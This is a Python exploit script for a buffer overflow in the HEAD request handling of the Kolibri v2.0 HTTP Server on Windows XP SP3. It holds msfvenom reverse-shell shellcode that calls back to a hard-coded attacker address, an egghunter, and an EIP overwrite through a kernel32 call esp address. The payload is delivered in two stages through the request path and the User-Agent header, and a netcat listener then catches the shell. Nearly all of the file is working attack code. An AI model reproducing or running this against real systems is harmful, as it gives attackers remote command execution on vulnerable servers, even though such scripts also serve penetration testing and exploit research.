#!/usr/bin/env python
import sys
import socket
import struct
import subprocess

#-------------------------------------------------------------------------------#
# Exploit: Kolibri v2.0 HTTP Server HEAD Buffer Overflow (egghunter)            #
# OS Tested: XP PRO SP3 (Professional)                                          #
# Author: Amonsec                                                               #
# Software: https://www.exploit-db.com/apps/                                    #
#           		4d4e15b98e105facf94e4fd6a1f9eb78-Kolibri-2.0-win.zip        #
#-------------------------------------------------------------------------------#

if len(sys.argv) < 3:
	print '[*] Kolibri HTTP Server 2.0 exploit'
	print '[*] Usage: {} <ip addr> <port>'.format(sys.argv[0])
	sys.exit(1)
else:
	rhost = sys.argv[1]
	rport = int(sys.argv[2])

#--------------------------------------------------------------------------------------------------------------------------------------------------------#
# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -b '\x00\x0d\x0a\x3d\x20\x3f' -a x86 -f python -v shellcode  #
#--------------------------------------------------------------------------------------------------------------------------------------------------------#
shellcode =  ""
shellcode += "\xd9\xe9\xd9\x74\x24\xf4\x5d\x33\xc9\xb8\x5c\xd6"
shellcode += "\xb4\xc9\xb1\x52\x31\x45\x17\x03\x45\x17\x83\x99"
shellcode += "\xd2\x56\x3c\xdd\x33\x14\xbf\x1d\xc4\x79\x49\xf8"
shellcode += "\xf5\xb9\x2d\x89\xa6\x09\x25\xdf\x4a\xe1\x6b\xcb"
shellcode += "\xd9\x87\xa3\xfc\x6a\x2d\x92\x33\x6a\x1e\xe6\x52"
shellcode += "\xe8\x5d\x3b\xb4\xd1\xad\x4e\xb5\x16\xd3\xa3\xe7"
shellcode += "\xcf\x9f\x16\x17\x7b\xd5\xaa\x9c\x37\xfb\xaa\x41"
shellcode += "\x8f\xfa\x9b\xd4\x9b\xa4\x3b\xd7\x48\xdd\x75\xcf"
shellcode += "\x8d\xd8\xcc\x64\x65\x96\xce\xac\xb7\x57\x7c\x91"
shellcode += "\x77\xaa\x7c\xd6\xb0\x55\x0b\x2e\xc3\xe8\x0c\xf5"
shellcode += "\xb9\x36\x98\xed\x1a\xbc\x3a\xc9\x9b\x11\xdc\x9a"
shellcode += "\x90\xde\xaa\xc4\xb4\xe1\x7f\x7f\xc0\x6a\x7e\xaf"
shellcode += "\x40\x28\xa5\x6b\x08\xea\xc4\x2a\xf4\x5d\xf8\x2c"
shellcode += "\x57\x01\x5c\x27\x7a\x56\xed\x6a\x13\x9b\xdc\x94"
shellcode += "\xe3\xb3\x57\xe7\xd1\x1c\xcc\x6f\x5a\xd4\xca\x68"
shellcode += "\x9d\xcf\xab\xe6\x60\xf0\xcb\x2f\xa7\xa4\x9b\x47"
shellcode += "\x0e\xc5\x77\x97\xaf\x10\xd7\xc7\x1f\xcb\x98\xb7"
shellcode += "\xdf\xbb\x70\xdd\xef\xe4\x61\xde\x25\x8d\x08\x25"
shellcode += "\xae\x72\x64\x7b\xae\x1b\x77\x83\xd4\xb2\xfe\x65"
shellcode += "\x42\x55\x57\x3e\xfb\xcc\xf2\xb4\x9a\x11\x29\xb1"
shellcode += "\x9d\x9a\xde\x46\x53\x6b\xaa\x54\x04\x9b\xe1\x06"
shellcode += "\x83\xa4\xdf\x2e\x4f\x36\x84\xae\x06\x2b\x13\xf9"
shellcode += "\x4f\x9d\x6a\x6f\x62\x84\xc4\x8d\x7f\x50\x2e\x15"
shellcode += "\xa4\xa1\xb1\x94\x29\x9d\x95\x86\xf7\x1e\x92\xf2"
shellcode += "\xa7\x48\x4c\xac\x01\x23\x3e\x06\xd8\x98\xe8\xce"
shellcode += "\x9d\xd2\x2a\x88\xa1\x3e\xdd\x74\x13\x97\x98\x8b"
shellcode += "\x9c\x7f\x2d\xf4\xc0\x1f\xd2\x2f\x41\x2f\x99\x6d"
shellcode += "\xe0\xb8\x44\xe4\xb0\xa4\x76\xd3\xf7\xd0\xf4\xd1"
shellcode += "\x87\x26\xe4\x90\x82\x63\xa2\x49\xff\xfc\x47\x6d"
shellcode += "\xac\xfd\x4d"

#-------------------------------------------------------------------------------#
# (*) Badchars: '\x00\x0d\x0a\x3d\x20\x3f'                                      #
#                                                                               #
# Stage1:                                                                       #
# (1) Crash to EIP 515                                                          #
# (2) EIP: 0x7c8369c0 call esp [kernel32.dll]                                   #
# (3) ESP: JMP SHORT -60  => \xEB\xC4                                           #
# (4) Egghunter; marker "hive"                                                  #
#                                                                               #
# Stage2:                                                                       #
# (5) Marker "hivehive"                                                         #
# (6) Nops + shellcode                                                          #
#-------------------------------------------------------------------------------#
egghunter = ''
egghunter += '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c'
egghunter += '\x05\x5a\x74\xef\xb8\x68\x69\x76\x65\x8b\xfa\xaf\x75'
egghunter += '\xea\xaf\x75\xe7\xff\xe7'

stage1 = ''
stage1 += '\x41' * 463
stage1 += egghunter
stage1 += '\x41' * 20
stage1 += struct.pack('<L', 0x7c8369c0)
stage1 += '\xeb\xc4'

stage2 = ''
stage2 += 'hivehive'
stage2 += '\x90' * 32
stage2 += shellcode

try:
	print '[*] Trying to exploit the tageted Kolibri HTTP Server'
	print '[*] Target {}:{}'.format(rhost, rport)

	payload = ''
	payload += 'HEAD /{} HTTP/1.1\r\n'.format(stage1)
	payload += 'Host: {}:{}\r\n'.format(rhost, rport)
	payload += 'User-Agent: {}\r\n'.format(stage2)
	payload += 'Keep-Alive: 115\r\n'
	payload += 'Connection: keep-alive\r\n\r\n'

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect = s.connect((rhost, rport))
	print '[*] Connection established'

	print '[*] Sending the exploit'
	s.send(payload)
	s.close()

	print '[*] Brrraaaaaaah! A wild shell appears\n'
	subprocess.call(['nc -lnvp 31337'], shell=True)

except socket.error:
	print '[-] Exploit failed!'
